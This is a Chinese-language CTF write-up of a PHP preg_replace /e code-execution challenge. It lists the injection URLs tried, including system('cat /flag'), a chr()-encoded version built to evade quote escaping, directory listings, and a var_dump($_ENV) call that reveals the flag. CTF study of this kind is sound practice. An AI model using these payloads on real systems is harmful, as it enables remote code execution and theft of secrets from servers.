题目Flag寻找过程详细记录目标网址http://challenge.qsnctf.com:34147/漏洞分析页面源代码当访问目标网址时页面显示了以下PHP代码?phphighlight_file(__FILE__);$input$_GET[data];echopreg_replace(/(.*)/e,\\1,$input);?漏洞识别这段代码存在一个典型的preg_replace /e模式代码执行漏洞漏洞原理详解preg_replace函数用于执行正则表达式的搜索和替换语法preg_replace(pattern, replacement, subject)pattern正则表达式模式replacement替换字符串subject要搜索替换的目标字符串/e修饰符这是一个危险的修饰符允许将replacement参数作为PHP代码执行在PHP 7.0及以上版本中已被移除因为它会导致严重的安全问题正则表达式/(.*)//正则表达式的定界符.匹配任意字符除了换行符*匹配前面的字符0次或多次整个模式/.*?/会匹配输入的所有内容替换字符串\\1\\1表示第一个捕获组的内容由于正则表达式/(.*)/只有一个捕获组且匹配了所有内容因此\\1会被替换为用户输入的$input内容最终效果当preg_replace执行时它会先匹配用户输入的所有内容然后将替换字符串\\1替换为用户输入的内容由于/e修饰符的存在替换后的字符串会被作为PHP代码执行因此用户可以通过$input参数执行任意PHP代码示例如果用户输入dataphpinfo()则preg_replace会执行preg_replace(/(.*)/e, phpinfo(), phpinfo())最终会执行phpinfo()函数输出PHP配置信息利用过程1. 验证漏洞存在首先我使用简单的PHP函数来验证漏洞是否存在请求URLhttp://challenge.qsnctf.com:34147/?datagetcwd()预期结果返回当前工作目录实际结果成功返回/var/www/html确认漏洞存在2. 尝试直接读取文件尝试1直接使用file_get_contents读取/flag请求URLhttp://challenge.qsnctf.com:34147/?datafile_get_contents(/flag)结果语法错误单引号被转义尝试2使用双引号请求URLhttp://challenge.qsnctf.com:34147/?datafile_get_contents(/flag)结果语法错误双引号也被转义尝试3使用readfile函数请求URLhttp://challenge.qsnctf.com:34147/?datareadfile(/flag)结果语法错误斜杠导致解析问题尝试4使用include函数请求URLhttp://challenge.qsnctf.com:34147/?datainclude(/flag)结果语法错误斜杠导致解析问题3. 尝试执行系统命令尝试1使用system函数请求URLhttp://challenge.qsnctf.com:34147/?datasystem(ls -la)结果连接中断可能命令被限制尝试2使用反引号执行shell命令请求URLhttp://challenge.qsnctf.com:34147/?datacat /flag结果连接中断尝试3使用chr()函数构造命令请求URLhttp://challenge.qsnctf.com:34147/?datasystem(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))结果连接中断代码解释这段代码使用了PHP的chr()函数来构造shell命令避免直接使用引号从而绕过引号转义问题。chr()函数将ASCII码转换为对应的字符.运算符连接字符串详细分解函数调用ASCII码对应的字符组合后chr(99)99c开始构造命令chr(97)97acachr(116)116tcatchr(32)32空格catchr(47)47/cat /chr(102)102fcat /fchr(108)108lcat /flchr(97)97acat /flachr(103)103gcat /flag最终构造的命令system(cat /flag)system()函数执行shell命令cat /flagLinux命令用于查看/flag文件的内容这种方法通过ASCII码转换来构造命令可以绕过某些字符过滤和转义机制。4. 查看目录结构尝试1查看当前目录请求URLhttp://challenge.qsnctf.com:34147/?dataprint_r(scandir(dirname(__FILE__)))结果成功返回目录内容Array ( [0] . [1] .. [2] index.php )结果解释这是PHPscandir()函数返回的目录列表以数组形式展示[0] .表示当前目录[1] ..表示上级目录[2] index.php表示当前目录下的index.php文件尝试2查看上级目录请求URLhttp://challenge.qsnctf.com:34147/?dataprint_r(scandir(dirname(dirname(__FILE__))))结果成功返回上级目录内容Array ( [0] . [1] .. [2] html [3] localhost )结果解释[0] .表示当前目录此时是/var/www[1] ..表示上级目录/var[2] html表示/var/www/html目录是我们的网站根目录[3] localhost表示/var/www/localhost目录是另一个网站目录scandir()函数用于获取指定目录中的文件和子目录列表print_r()函数用于格式化输出数组内容。5. 查看环境变量最终成功由于直接读取文件和执行系统命令都遇到了问题我尝试查看环境变量因为flag有时会设置在环境变量中。请求URLhttp://challenge.qsnctf.com:34147/?datavar_dump($_ENV)代码解释var_dump()函数用于打印变量的详细信息包括类型和值$_ENVPHP预定义超全局变量包含了当前环境的所有环境变量结果成功返回环境变量其中包含flag信息最终结果在环境变量中找到了flag[FLAG] string(40) qsnctf{0882c2c003394a07b767c6171e4b86bc}结果解释[FLAG]环境变量的名称为FLAGstring(40)该环境变量的值是一个字符串长度为40个字符qsnctf{0882c2c003394a07b767c6171e4b86bc}环境变量的具体值也就是我们要找的flag最终Flagqsnctf{0882c2c003394a07b767c6171e4b86bc}环境变量的作用环境变量是操作系统或应用程序中用于存储配置信息的变量。在容器化部署中如Docker经常会通过环境变量来传递敏感信息因为这样可以避免将敏感信息硬编码到代码中。在这个案例中管理员就是将flag存储在了FLAG环境变量中。总结该漏洞是典型的preg_replace /e模式代码执行漏洞利用过程中遇到了各种限制包括引号转义、命令执行限制等最终通过查看环境变量成功获取了flag这个案例展示了在渗透测试中需要尝试多种方法灵活应对各种限制参考链接PHP preg_replace 官方文档OWASP 代码执行漏洞防护